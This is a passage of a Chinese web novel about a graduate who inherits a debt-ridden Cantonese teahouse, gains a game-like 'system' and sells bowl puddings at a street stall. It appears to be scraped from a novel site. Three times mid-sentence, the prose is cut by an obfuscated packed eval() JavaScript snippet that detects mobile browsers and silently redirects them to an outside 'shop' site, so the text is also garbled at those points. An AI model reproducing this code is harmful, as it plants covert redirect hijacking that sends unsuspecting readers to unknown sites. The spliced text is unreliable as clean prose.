《我的破产茶楼火爆全球》
1. 绑定系统
花城机场外,前一辆出租车刚驶离,后面的出租车便开了上来,来自全国乃至全世界的旅客坐上一辆辆出租车,去往花城的各处。
夏咏恩匆匆忙忙地上了车,司机从后视镜看了她好几眼。白体恤的领口已经微松,下身的牛仔裤被洗得泛白,脚上的运动鞋带上起了毛,一个黑色的双肩包悬在她一边的肩膀上。
看样子,这姑娘多半是来“特种兵”旅游的大学生。
司机的手往计费键上伸去,正打算待会介绍一下花城的各处热门打卡地。
谁知那姑娘开口说,“我要去市殡仪馆。”
出租车驶上绿埔大道,夏咏恩望向窗外,远远地便瞧见那矗立着的花城塔。
十二年前,花城塔刚建成的第二个月,资助人方萍阿姨牵着她的手,坐上了112层的摩天轮。
自那一天起,她便来到了花城上学,每个月都能收到方萍阿姨打来的资助款。
若是没有方阿姨,年幼便失去双亲的夏咏恩,绝无可能从那个山沟沟里走到一所著名的985大学门前。
夏咏恩还记得,自己第一次和方阿姨见面,地点就在方家世代经营的粤式茶楼。
那高达三层,十分气派的茶楼,多年来都深深地刻在夏咏恩的脑海里。因此她高考后,便想着报考与烹饪有关的专业。
然而方萍阿姨却再三拒绝了夏咏恩的提议,并让她去报考自己喜欢的专业。
进入大学后,夏咏恩没有再接受资助,靠着贫困生补助以及奖学金,还有打工攒的钱,顺利地度过了大学四年。
半个月前,夏咏恩对方萍阿姨发去邀请,希望她能够来参加自己的毕业典礼。
当时方萍阿姨只说自己有事要忙,没办法赶去毕业典礼,夏咏恩知道茶楼事多,故而也没有多想。
只是前日,她忽然接到了一通陌生的来电。是方萍阿姨的律师打来的。
接到电话后,夏咏恩安排好学校的琐事,临急临忙坐飞机回花城。
一路上,她的脑海中不断切换着往日方萍阿姨和蔼的笑颜,以及视频中的她,穿着病号服努力咧开嘴对自己打招呼的模样。
“方萍阿姨,怎么会……怎么会这么突然就离开了?”
夏咏恩站在殡仪馆门前,泪如雨下。
律师拍了拍她的肩膀,“方女士几年前就查出肺癌了,只是这些年她一心扑在荣兴楼上,也没有心力去管自己的身子。毕竟,这茶楼是她毕生的心血。”
方家的茶楼名叫荣兴楼,传到方萍阿姨这里已经是第四代了。
按照方萍阿姨的遗嘱,夏咏恩将拥有荣兴楼的所有权,荣兴楼变卖后的财产在偿还债务之后所剩下的财产将归夏咏恩所有。
夏咏恩握着遗嘱看了一遍又一遍,她无法相信,方萍阿姨竟然要将茶楼变卖。
荣兴楼有百年历史,是花城的老牌茶楼,虽说近年来随着其他连锁茶楼品牌的兴起,生意受到影响,可怎么会沦落到要变卖的地步?
夏咏恩坐地铁来到荣兴楼门前,全凭那块遍布灰尘的牌匾,这才认出,这就是自己记忆中那生意兴旺、人来人往的茶楼。
椅子座垫下的海绵都被老鼠偷去了,废弃的餐具和桌布堆在茶楼的各处角落,甚至还有几盏吊灯掉在了地上,摔得粉碎。
楼梯的墙上挂着茶楼开业至今的照片,夏咏恩一边看一边上楼,见三楼的楼梯口,挂着一张自己和方萍阿姨的合照。
照片上的自己拿着一张中文系的录取通知书,方萍阿姨揽着自己的肩膀,满眼都是笑意。
夏咏恩顿时又红了眼眶,想要走上前去擦干净相框上的灰尘。
谁知,竟一脚便踩到了地上的桌布,随后脚下一滑,身子不受控制地往后一倒,朝楼梯滚了下去。
滚了七八级楼梯,夏咏恩的头撞上了墙壁的转角位,随着“砰”的一声,她彻底晕死了过去。
不知过了多久,她才迷迷糊糊地有了意识。
等清醒过来后,脑海中忽然响起一个声音。
“恭喜宿主绑定茶楼经营系统,现在正为宿主加载系统面板。”
中文系毕业的夏咏恩,自然看过了不少绿江小说。她一瞬间就意识到,自己该不会真像那些小说主角一样,获得了什么神奇的能力吧?
很快,她的面前就出现了一个蓝色的透明面板。面板最中间的信息栏写到:
【姓名:夏咏恩】
【年龄:22】
【身份:荣兴楼继承人】
【主线任务:重振荣兴楼】
【茶楼评级:Lv.0苍蝇都不来的破地方】
【阶段任务:未激活,请宿主自行探索。】
夏咏恩皱起眉头,打量这个神奇的面板。
脑海中的那个声音又冒了出来,“宿主,请努力加油完成任务,现在的系统只是初始状态,随着任务完成,系统将不断进行更新。”
夏咏恩明白了,看来这无比简陋的系统面板就是1.0版本了。
除了中间的信息栏外,右边显示出好几个竖状的选项卡。不过目前,只有前两个选项卡亮了起来,分别写着“点心图鉴”以及“无界空间”。
夏咏恩点开点心图鉴,里头什么都没有。
“宿主,当你解锁新的点心配方时,该图鉴才会激活哦!”
她正准备查看第二个无界空间的时候,放在裤子里的手机忽然响了起来。
来人是方萍先前联络好的茶楼买家,夏咏恩揉着红肿的额头,匆匆走到一楼。
买家是个中年大姨,绕着荣兴楼看了一圈,便开价一百万,希望能早点过户。
尽管夏咏恩并不清楚这附近临街商铺的价格,可她能感觉到,一百万这个价格实在是太低了。
买家见她神色为难,便把价格提到了一百五十万,言谈之间说了不少茶楼的缺点,比如这附近是居民区并不靠近商业街,比如茶楼内装潢陈旧桌椅损坏,她买回来也得再装修一遍等等的话。
末了,买家又说,“这三层的茶楼是很难租出去的,短时间内转手也不容易,小姑娘你还是好好考虑一番吧。”
夏咏恩这才明白,这买家多半是知晓方萍阿姨急着还债,才故意压价那么多。
她婉言拒绝了买家。如今自己可是有系统的人,想要重开荣兴楼,想必也不会太难。
买家一惊,看向她,“你该不会打算自己来开这个茶楼吧?”
“我跟你说,这荣兴楼的气运早就不行了,你又何苦浪费时间浪费心血在这里呢。”
从买家那,夏咏恩才知道,当年那栋如此气派的荣兴楼,究竟是如何变成现在的模样的。
方萍的父亲方老爷子是荣兴楼的第三代传人,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17492845|202321||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
可方萍自幼便不喜欢厨艺,方老爷子便只好任由她去,自己收了好几个徒弟传授厨艺。
其中有一名徒弟最得方老爷子的喜欢,他便想着将荣兴楼交到这徒弟的手上,可等老爷子把所有手艺都传授给徒弟后,此人竟另起山头,开了一家名叫“明心楼”的茶楼。
很快,方老爷子就因为这事进了医院,而方萍便回到了荣兴楼继承方老爷子的衣钵。
虽然她十分勤奋,可终究在天赋上差了一些,等方老爷子去世后,荣兴楼的生意便日益衰败。
为了拯救荣兴楼,她花了重金找了几个有名的师傅回来坐镇。原本荣兴楼的生意已经有了好转,可就在三个月前,那几个师傅都跳槽去了明心楼。
自此事后,方萍便一病不起。
而荣兴楼的大门,也从此密闭。
在许多人看来,荣兴楼的气运已经走到了尽头。
送走买家,夏咏恩喊系统,“你能帮我算一下荣兴楼的资产情况吗?”
抱着尝试的心理召唤出系统,没想到系统还真有这个功能,很快,系统就把茶楼的资产情况整理了出来。
目前,茶楼还欠了二十万的货款。
根据系统提供的账目显示,之前茶楼的债务高达三百多万,方萍阿姨把自己的房子车子统统卖了拿来还债,给自己治病的钱已所剩无几。
夏咏恩心里忽然揪着疼,方萍阿姨一生无儿无女,荣兴楼是方家的祖业,也是她的心血。可她却没有嘱托自己继续把茶楼开下去,而是让自己把茶楼卖了。
就算按照一百万的价格出售,自己最后得到的也有八十万,加上自己不错的学历,找一份稳定的好工作并不是很难。
可以说,自己已经超越百分之九十的同龄人,提前实现了财务自由。
但这不是她想要的。
夏咏恩不会忘记,如果没有方萍阿姨,她早在十几岁就嫁了人,还哪里有机会体会现在的生活。
既然如今绑定了茶楼经营系统,夏咏恩决定,重振荣兴楼。
短短一个下午,她便从一个刚毕业的大学生,转变成为一家倒闭茶楼的继承人。
夏咏恩从杂物间找出一把扫把和拖把开始打扫茶楼。
走到三楼的时候,她才发现,最末尾的那间小屋子是方萍阿姨的住处,里头只有一个简单的床榻,一张书桌,还有一个小衣柜。
书桌上摆了十几本手账本,是茶楼中各种点心的配方,还有方萍阿姨每日写下的经营日志。
夏咏恩吹了吹上面的灰尘,正想拿起来翻看,系统提示音忽然又响了起来:
【新手福袋已送达!解锁“钵仔糕”配方(红豆/绿豆)】
【阶段任务已激活,请宿主在下周一前卖出100份钵仔糕】
方才还一片空白的点心图鉴,出现了一个画着钵仔糕的图标。夏咏恩点进去,发现钵仔糕的详细做法已经详细列了出来。
她浑身上下鼓起一股劲来,可很快又想到,自己蒸个水蛋还行,可向来以精致著称的粤式点心,自己真能做出来吗?真的有人会买吗?
系统的提示音又响了起来:
【宿主,你可进入无界空间,进行厨艺练习】
经过这么一提示,夏咏恩才想起来,这个功能自己还没有查看。
下一刻,她周遭的景象瞬间发生了变化。
2. 钵仔糕
虽然夏咏恩依旧身处茶楼,可店内原本陈旧的装潢瞬间焕然一新。
服务员推着摆放着小蒸笼的推车,在食客中穿梭,嬉笑交谈的声音不断传入她的耳中,只不过,每一个人的模样都十分朦胧。
而她所在之处,是开放式的厨房,厨房内有锃亮的炉灶与崭新的炊具,新鲜的肉菜整整齐齐地摆放在旁。
【叮!无界空间是一处模拟空间,宿主可以在这里练习厨艺,所有的食材、调料无限制取用,宿主好好加油吧!】
夏咏恩双眼一亮,现在茶楼负债累累,自己身上也没有那么多钱买食材调料回来练习,这个无界空间可太棒了!
她撸起袖子,点开钵仔糕的详细页面查看。
钵仔糕是一种用米浆做的甜点小吃,也有人称其为砵仔糕。夏永恩记得小时候常有一些阿姨挑着两大筐上街叫卖,而她最爱吃的就是红豆味的了。
只不过,现在传统的钵仔糕好像越来越少了。大多商家用的都是木薯粉做的,做出来的钵仔糕虽然看起来晶莹剔透,吃起来Q弹,但嚼起来只觉得胶感很重,不像传统的钵仔糕那样软糯还带有淡淡的米香。
系统目前只解锁了两个经典的红豆、绿豆口味,夏咏恩洗好了五百克的大米,放在水中浸泡,又盛了红豆、绿豆各五十克,同样洗净后浸泡。
按照配方,大米得泡够六小时,才能进行下一步。她正为这六个小时烦忧,没想到盛着大米的盆上忽然浮出一个触碰按钮:“长按加速!”
她轻轻点了点加速按钮,盆上出现了一个进度条,系统提示音响起:
【宿主,在无界空间中制作点心的过程中,若遇到花费时间太长的步骤,可以选择加速进行哦!】
这……也太神奇了吧!跟她平时玩的烹饪小游戏简直是一模一样!
钵仔糕的做法很简单,将研磨出来的米浆分成生熟浆混合,再上锅蒸熟就好了。
虽然看起来容易,但毕竟夏咏恩也是第一次尝试,光是打磨米浆就花了不少时间,不少米浆还飞溅了出来,操作台上简直是一团乱。
然而随着“bling”的一声,溅在操作台上的米浆消失得一干二净,还附带了一个闪闪发光的特效。
哇,完全不用自己收拾耶!这也太方便了!
她拿出十几个钵仔放在蒸笼上,将搅好的生熟浆倒在钵仔内,再往里头撒了一把红豆或绿豆。
十几个小钵仔齐整整地排列在蒸笼中,散发出一股浓郁的米香味。夏咏恩这回没按加速键,一直守在灶台边上,静静等待蒸笼中的钵仔糕。
二十分钟后。
她迫不及待地掀开蒸笼盖,拿出一个红豆味的钵仔糕,用竹签将钵仔糕挖了下来,轻轻地咬了一口。
怎么感觉……不太好吃啊?
系统提示音适时响起:
【获得点心:钵仔糕,熟练度+5】
【点心等级:D(5/100)】
夏咏恩放下钵仔糕,“系统,这个等级D是什么?”
经过一番解释,她才明白了,每一个点心初始等级都是D,想要升级点心等级,就得在空间内积攒熟练度,达到下一级点心等级的标准。
只要完成一次点心制作,就能获得5个熟练度。所以说,现在她得积攒100个熟练度,才能达到C级别。
她把手上的钵仔糕吃完,打算将剩下的都带到现实世界里,当做纪念。
谁知系统提示音又响了起来:
【亲爱的宿主,目前空间内的物品无法带离本空间,一切成品均会被本系统回收,分解回原始材料,方便下一回使用哦!】
好吧,这系统还挺环保的。
忙了一通,她现在也累了,打算先出去歇一会,再回来努力练习厨艺。
意念一动,夏咏恩周围的景象又恢复成那座陈旧破败的茶楼。
她习惯性地掏出手机,正打算看一会儿小说,却留意到状态栏上的时间,顿时就吓了一大跳。
自己刚刚在无界空间起码忙活了一个小时,可怎么才只过了三分钟啊?
一定是自己记错了。
可是绑定系统这么离谱的事都能发生在自己身上了,难道说……
“系统,无界空间与现实的时间流速是不是不一样?”
【是的宿主,无界空间内的十二个小时,等于现实时间的一小时哦!】
夏咏恩震惊了。
居然会有这样的好运,砸在自己的身上。
她连忙追问,“那我进入无界空间的时长是不是不受限制?”
【无界空间内每日有十点体力限制,在空间内一小时会消耗一点体力,若体力耗尽,须等到第二日才可进入。】
【同时,宿主在进入无界空间时,本体会处于睡眠状态,突发的睡眠可能会被现实世界视为异常,从而察觉到本系统的存在,请宿主留意。】
夏咏恩这才留意到,空间的左上角有一个小方框,方框左边有一个闪电的标志,紧接着就是一道黄色的体力条,里头标了一个数字“10”.
她心中大喜,连忙放下手机,休息?她才不要!
阶段任务是在三天内卖出100份钵仔糕,保守起见,明天就要开始卖钵仔糕了。
很显然,D级别的钵仔糕,绝对是卖不出去的。
一定要在今晚,努力提升钵仔糕的等级!
她去附近的北方面馆买了两个大馒头,就着白水吃完后,马上回了无界空间。
有了上一次的经验,这回她做钵仔糕的速度就快多了,能够加速的步骤全部加速,系统提示音不断在耳边响起:
【获得点心:钵仔糕,熟练度+5】
【点心等级:D(25/100)】
……
【点心等级:D(50/100)】
……
【点心等级:C(10/200)】
【恭喜升级!请再接再厉!】
……
【点心等级:C(50/200)】
……
【点心等级:C(150/200)】
用完了所有的十点体力,距离升级到B级的砵仔糕还差50个熟练度,夏咏恩决定明天一早再进空间练习。
本以为在里面待了那么久,回到现实世界时一定会很累,没想到浑身上下一点都不觉得疲困。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17492846|202321||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>现在她需要考虑的是,这个售卖任务要怎么完成。
荣兴楼短时间是开不起来了,自己又没有什么经验,想要快速把生意做起来,最好的方法就是摆摊!
对于摆摊而言,最重要的就是选址。
自己没有车,带着那么多钵仔糕,肯定是走不远的,因此,她将摆摊的地方圈在了以荣兴楼为圆心的一公里范围内。
荣兴楼身处花城的三大老城区之一的荔芳区中,附近有许多名人故居与文物古迹,也有许多老学校和老旧的居民区。
离荣兴楼最近的学校,就是花城铁路第三中学。
钵仔糕吃起来软糯香甜又有嚼劲,绝对是小孩子的心头好,但偏偏明后两天是周末,学校附近肯定没有人流。
于是,她又重新研究起了地图,很快就找到了一个合适的地方。
离荣兴楼五百米处有一个历史文化街区,里面有许多文创精品小店和非遗艺术展览,这些年已经成为了花城的旅游打卡必去之地。
而这个历史文化街区隔壁,就有一个美食广场。
夏咏恩觉得这个位置很不错,只是这种地方,多半不能自己随意去摆摊。因此,她连忙动身,走到了这个美食广场考察环境。
周五的晚上,这个广场的人流量并不少,估计明后两日会更多。夏咏恩很快就发现,好的位置早就被占完了,只剩下几个犄角旮旯的位置没有人要。
不过,当她看完其他商家卖的吃食后,她觉得,这里真是个好地方,钵仔糕完全不愁销量。
因为,这个美食广场里卖的东西,百分之八十都跟花城没啥关系。
烤包子、牛肉饼、火爆鱿鱼、爆辣大香肠……甚至还有烤冷面,这完全是夜市小吃一条街啊!
尽管如此,这些店铺也有不少人光顾,而那几个卖花城传统小吃的摊位,更是十分火爆。
她立马联系了这个街区的招商负责人,交了两百块的摊位租金。
系统很显然是知道她现在所处的窘境,所以才发放了这么一个对新手十分友好的配方。
原料简单,可以预制,不用当场烹饪,也不需要什么餐具,只要买几捆竹签就可以了。
连小吃车也不需要,只需要一张小桌子,一个塑料矮凳,就可以摆一天。
她去超市买了大米、白糖以及红豆绿豆,又在茶楼的杂物间找出桌子和矮凳。
忙完了一切,她便早早地睡去了。
第二天天刚亮,夏咏恩立马进了空间,钵仔糕的等级终于升到了B级。
因着是头一天摆摊,她不敢做太多了,只备了五十多份钵仔糕。
尽管没有了无界空间的辅助,但她如今已经驾轻就熟,很快就将钵仔糕整整齐齐地码好在框子里。
夏咏恩拿起竹签一挑,将镶嵌着许多红豆的钵仔糕放入口中。
只嚼了几口,就吃到了那浓浓的米香味,粒粒分明的红豆更是增加了许多口感。由于她放的糖并不多,故而大米本身自带的甜香占据了主要的甜味,吃完了一整个都不觉得甜腻。
这个钵仔糕,比自己以往吃过的都要好吃。
她有信心,这个钵仔糕一定会大受欢迎!
3. 摆摊第一天
六月初的花城,一大早,太阳已高高挂起。
在美食广场边缘的一角,一对卖土家酱香饼的夫妻带着家当慢悠悠地来到了广场。二人一向勤奋,每日都是早早地准备出摊,只是今日,竟然有人比他们来得更早。
那人的摊位恰好就在土家酱香饼的隔壁,男老板悄悄打量了几眼,就这么一看,心里泛起了嘀咕。
钵仔糕,没听过啊?
再一看卖相,就一个米糕,里头放了很多豆子,这有啥吃头?
只不过,他依旧笑着跟那钵仔糕的摊主打了招呼,聊了几句便套起了近乎。
那摊主随口问起,“这里的生意好做吗?”
女老板笑了笑说,“这广场人多,比我们之前摆摊的那地好多了了,只要味道过得去,生意肯定不会差的。”
话虽如此,可她还有一句重要的话没有讲。
味道好吃固然重要,可这卖的东西,也得有吸引力才行。
钵仔糕她还是听说过的,花城的传统小吃嘛,可整个美食广场,售卖花城传统美食的,能有几家?
很显然,来这个广场的游客,就是不吃这套嘛。
交浅言深乃是大忌,两夫妻便没有多说什么,默默开始把摊位支了起来。
而对面卖烤串的大哥,也在悄悄打量那卖钵仔糕的摊主。
凭他多年的识人技术,一看就知道这人读了不少书,估计是大学刚毕业没找到工作,在网上随便学了点东西,就出来摆摊创业了。
现在的年轻人,都是无肉不欢,无辣不欢的。重油、重辣、重盐的口味,才是年轻人追捧的主流。
钵仔糕?哪有年轻人想买嘛。
再说了,这钵仔糕卖3.5元一个,未免也太便宜了,俗话说便宜没好货,这人该不会是用什么色素香精做的吧?
他断定,出不了两日,这摊位上就要换一个新老板了。
而一旁的夏咏恩,自然是不知道其他人的想法。
她只是坐在塑料矮凳上,一边扇着风,一边等待客人的到来。
很快,美食广场的人流就多了起来。
夏咏恩将两个钵仔糕合成一对,在桌上堆成小塔的形状,远看着很是惹眼。不少行人在摊位前停留几秒,小声嘀咕几句,然后很快就离开了。
她并没有放在心上,只是不断吆喝起来。
卖烤串的大哥见她那堆钵仔糕一个都没卖出去,不由得摇了摇头。
年轻人,“创业”也不是那么容易的!
他一边想着,一边将目光投向面前的客人,“美女,烤鱿鱼要不要?可好吃了香香辣辣的,吃了保证你上瘾!”
经过烤串摊的林圆圆停住了脚步,打量了几眼,摇摇头就走开了。
那冰柜里的鱿鱼也就小孩巴掌大,竟然要十五块钱,再大些的就三十四往上了。
更何况,她现在嗓子眼都快冒烟了,压根不想吃这些上火的东西。
林圆圆今年大二,趁着放暑假来花城找表姐玩,今日一早,两姐妹就出门来到了这个历史文化街区闲逛。
才逛了半小时,她就出了一身汗,脸上的妆全都融了,光是擦汗就用了一大包纸巾。
趁着表姐去买水的功夫,她便顺路走到这美食广场到处看看。
逛了一圈她发现,这广场卖的小吃基本上都是炸的烤的辣的,光是看着,嗓子眼就要冒火了。
她吞了吞口水,试图润泽一下干燥的喉咙,却听见一个女生对她喊道,“花城小吃钵仔糕,早上现做的,美女要不要尝一下?”
见摊主是个跟自己年纪相仿的女生,林圆圆顿住了脚步,低头打量起面前的钵仔糕。
米糕上放着颗粒饱满的绿豆,光是视觉上就十分清凉。每一个小钵仔外都被擦得干干净净,整个摊位也很干净整洁。
而且只要三块五,就算不好吃,也不亏呀!
于是,她要了一个绿豆味的钵仔糕。
接过夏咏恩手里的钵仔糕,林圆圆来不及拍照,就直接先咬了一口。
就这么一口,她觉得浑身上下都舒服多了。
这个钵仔糕有点微微的湿润,带着一丝冰凉,真的很解暑!
米糕带有弹性又有一定程度的爽滑,嚼起来并不糊口,反而有一点韧性,每一口都能咬到清凉解暑的绿豆,米浆的香甜与绿豆的清甜搭配得恰到好处。
林圆圆从前也吃过几回钵仔糕,可没有一个能有今天这个如此好吃。
不到三秒,她就吃完了一个钵仔糕。
夏咏恩笑眯眯地看着她,“好吃吗?要不要再来一个红豆味的?”
林圆圆一边嚼一边说,“要要要!”
她刚接过红豆味的钵仔糕,手机就响了起来,表姐李敏瑶在电话那头问,“圆圆,你去哪里了呀?”
“表姐!我在美食广场这里,你快来,这里有一家卖钵仔糕的特别好吃!”
李敏瑶皱起眉头,“钵仔糕?”
她马上说,“那广场卖的钵仔糕能吃吗?该不会是用色素染的吧!”
林圆圆在那头一边嚼一边说,“表姐你快来,真的特别好吃,你尝了就知道了!”
挂了电话,李敏瑶急忙加快了脚步。
作为花城本地人,她自然知道这个美食广场卖的可都是网红美食,跟花城特色八竿子都打不着,而且价格还很贵。
不用想,表妹肯定是被人骗了!
其实,她也有许多年没吃过钵仔糕了。这些年街边摆摊卖钵仔糕的也不是没有,可一看就知道,那些都是用木薯粉、马蹄粉做的,虽然看上去像水晶一样晶莹剔透,可吃起来完全不对味。
那种传统的钵仔糕,现在早就没有人做了。
李敏瑶火急火燎地走到美食广场,绕了好几圈才找到正在吃第三个钵仔糕的林圆圆。
林圆圆赶紧塞了一个红豆味的钵仔糕过来,“表姐,你可算来了,你再不来这个就要进我肚子里了。”
李敏瑶将信将疑地看了看这小摊,又看了眼价格,才三块五一个,能好吃吗?
不过,这看起来不像是什么用乱七八糟的粉做的,而且小小的一块钵仔糕里塞满了红豆,用料很足啊。
她又闻了闻,这钵仔糕上有一股淡淡的米香。
在林圆圆的注视下,李敏瑶轻轻地咬了一口。
“唔!”
她立马睁大眼睛,看向林圆圆,“这个味道——”
这跟小时候,在学校门口买到的味道几乎一模一样!
许多年前自己还在读小学那会,每天放学都会去校门口那个卖钵仔糕的阿姨那里,买上一个钵仔糕,一边吃一边慢慢走回家。
这么多年过去,她以为自己再也没办法吃到记忆中的味道了,可没想到今天,一个不起眼的小摊,竟做出了如此好吃的钵仔糕。
林圆圆撞了撞她的手臂,“表姐,你看,我没说错吧!”
李敏瑶连连点头,方才她在来的路上,已经喝了半瓶矿泉水了,可这花城的天气太热,喝了水嗓子也干得冒烟。
吃了这个钵仔糕后,喉咙一下子舒服多了。
她又要了一个绿豆的,一个红豆的,还拿出了手机,对着小摊拍了好几张照。
听见绿泡泡收款播报,夏咏恩不由自主地露出了笑容。
昨晚她来广场的时候就发现,这里卖的许多东西都太过燥热了,晚上天气没那么热或许还比较好卖,可白天的时候,谁会在大热天吃这些东西呀!
而广场里有一家卖糖水的生意特别好,因此夏咏恩就断定,自己这的生意,也不会差到哪里去。
半个小时就卖出了六份,夏咏恩笑着送走了李敏瑶姐妹二人。
烤串大哥看见二人有说有笑地离开,心里想,怎么还真有人去买这什么钵仔糕啊?
尤其是,方才那姑娘分明是先看到自己的摊子的,放着烤鱿鱼不吃,去吃那些加了色素的玩意?
不过么,傻子可不常有。他倒要看看,这摊主一天能卖多少个出去。
而一旁的酱香饼夫妻俩,则对钵仔糕的味道产生了好奇。
他们两个可是真真切切地看着李敏瑶姐妹吃钵仔糕的,那表情,那语气,可不像是在说假话。
这钵仔糕,真有那么好吃?
而离开美食广场的李敏瑶,在小绿书上发了一条帖子:跟童年味道一模一样的传统钵仔糕!也是被我吃到了!
配图就是方才她在夏咏恩摊位上拍的图片,附上了一大段推荐的话。
“花城人不骗花城人,这家用料很实在,吃起来烟烟韧韧,超好吃的!”
她平时就爱玩社交媒体,虽然也没多少人关注,可看到好玩有趣的事,总是忍不住发上去。
没想到,这条帖子发出去不久,就收到了十几个回
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17492847|202321||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
复。
“在那个美食广场里?那卖的东西真的好吃吗?”
“就在我家附近,现在马上出发!”
“上下八地铁站出来吗?哪个口比较近啊?”
“怎么就只有红豆和绿豆两个口味啊,有没有桂花的?”
“那么便宜?该不会又是那些随便弄点粉浆勾兑出来的垃圾玩意吧?”
……
而另一边的夏咏恩,自然是不知道这些事。李敏瑶离开后,她又陆陆续续地卖了四个钵仔糕出去。
很快,时间就来到了正午。
她从口袋里掏出一个白面馒头,刚咬了一口,就看到有一个男人从远处走过来,“老板!一个绿豆一个红豆!”
夏咏恩麻利地把钵仔糕递过去,又跟男人套了几句近乎,才发现这人是专门来帮衬自己生意的。
“我刚在家里刷到这个帖子,一看地方离我家就几分钟的路,吃完饭想着也没事干,就走过来看看呗。”
她这才知道,方才离开的两姐妹,竟然帮自己在小绿书上宣传了起来。
如今帖子已经一百多个赞,二十多条评论了,而一分钟后,帖子下面又多了一条新的评论:“我刚去买了,真的好好吃,我又多买了几个带回去给我女儿。”
男人离开后,小摊前很快就迎来了新的客人。夏咏恩只得把手上的馒头放到一边,有条不紊地给客人打包好钵仔糕。
一个小时过去,摊位上的钵仔糕已经全部卖空。
“啊!我坐了四十分钟的地铁过来,怎么就没有了!”
“老板待会还来吗?”
“早知道我刚刚走快几步了,唉!”
……
夏咏恩自己也没想到,现在才下午一点多,今天准备的钵仔糕就全部没了。
按照今天的情景,明天的销售量估计还会更多,看来今晚要备下起码八十份的钵仔糕材料才行了。
果然,第二天摊位刚开张,就已经来了五六个客人。
“昨天啊我排到最后一个没买上,今天可算是吃上了!”
“这家的钵仔糕用料也太扎实了,早餐吃一个正好!”
尽管夏咏恩的摊位比较偏,可每一个路过的行人都会发现,那个小摊面前,怎么总站着两三个人啊?
于是乎,越来越多的人就被吸引了过来。
还没到中午,八十份钵仔糕就又卖完了。夏咏恩伸了个大大的懒腰,开始收拾摊位。
烤串大哥嫉妒的眼神落在了她的身上,自从这人来了之后,烤串的销量骤减。
不知为何,明明许多客人都被烤鱿鱼的香味吸引了过来,可大部分人都会选择在她的摊位前停下。
凭什么她卖得这么轻松,自己的烤串却无人问津!
而一旁的酱香饼夫妻却给夏咏恩递上了一大份酱香饼以及一盒凉菜。
这两日下来,他们对夏咏恩是打心底里佩服,又见她衣着简朴,每顿都用白水就馒头,不免就泛起了同情。
夏咏恩推脱几回,最终还是收下了。
凉菜里有黄瓜丝、藕片、竹笋以及花生,上面泼了一层喷香的辣椒,一看就知道好吃。
一想到中午不用再吃馒头,夏咏恩心情大好,一边哼歌一边推着车走回荣兴楼。
这两日一共卖出了一百三十份钵仔糕,扣除两天的租金两百元,不算成本的话,自己这两天一共赚了两百五十五元。
虽然这钱并不多,但这可是自己给荣兴楼带来的第一笔进账!
此时,系统的提示音突然响了起来。
【恭喜宿主完成任务!解锁“钵仔糕(桂花/芒果)”配方】
而同时,系统面板也更新了。
【姓名:夏咏恩】
【年龄:22】
【身份:荣兴楼继承人】
【主线任务:重振荣兴楼】
【茶楼评级:Lv.1街边小摊】
【阶段任务:三天内卖出500份钵仔糕】
夏咏恩问系统,“这三天包括今天吗?”
“是的宿主!请加油完成任务!”
她偷偷翻了个白眼,现在都几点了,哪里还来得及再做一批钵仔糕啊!
也就是说,这任务的时限就变成了两天。
美食广场工作日的人流并不多,既然如此,从明天开始,要换个地方摆摊才行了。
4. 在中学通杀的钵仔糕
夏咏恩回荣兴楼吃过饭后,便躺在折叠行军床上好好地睡了个觉。这两日每天都得起个大早准备,说不困那都是假的。
睡醒后,她开始思考系统发布的新任务。
明天是周一,恐怕只有晚上下班之后,人流量才会多一些,其他时候广场内基本没多少人经过。
所以,从明天起,她要换个地方了。
她打开手机地图开始研究,很快就锁定了一个熟悉的地点。
花城铁路第三中学。
这学校是荔芳区的重点初中,加上教职工全校差不多有一千多人,最重要的是,学校离荣兴楼就五百多米。
这两日去美食广场的路上,她都有刻意绕到了学校附近看看。
据她观察,学校隔壁有一条巷子,巷子前一百米有文具店、书店和便利店,而在巷子末尾,她看见了几辆用布盖着的小吃车。
在这里摆摊,绝对有搞头啊!
透过校门,夏咏恩看见了一片钱海。
位置已定,接下来要做的就是备料。明天她至少得卖出250份钵仔糕,恰好今天刚解锁了桂花味和芒果味,一个味道预备80份就足够了。
做完这一切,她进了无界空间。
钵仔糕的点心等级已经是B,而A等级的钵仔糕需要500个熟练度,经过这几日的努力,现在距离升级到A等级还差50个熟练度。半小时过去,系统的提示声便响了起来:
【恭喜宿主!钵仔糕的点心等级,已升级为A级】
好不容易升到了最高等级,夏咏恩从无界空间出来就赶紧给自己做了一个钵仔糕。
相比起昨天做的钵仔糕,今天做的钵仔糕在外形上并没有什么明显的变化,可一吃进嘴巴里就能觉得,确实要比昨天的好吃不少啊!
有了这么好吃的钵仔糕,学校的生意一定不会差到哪里去的。
次日。
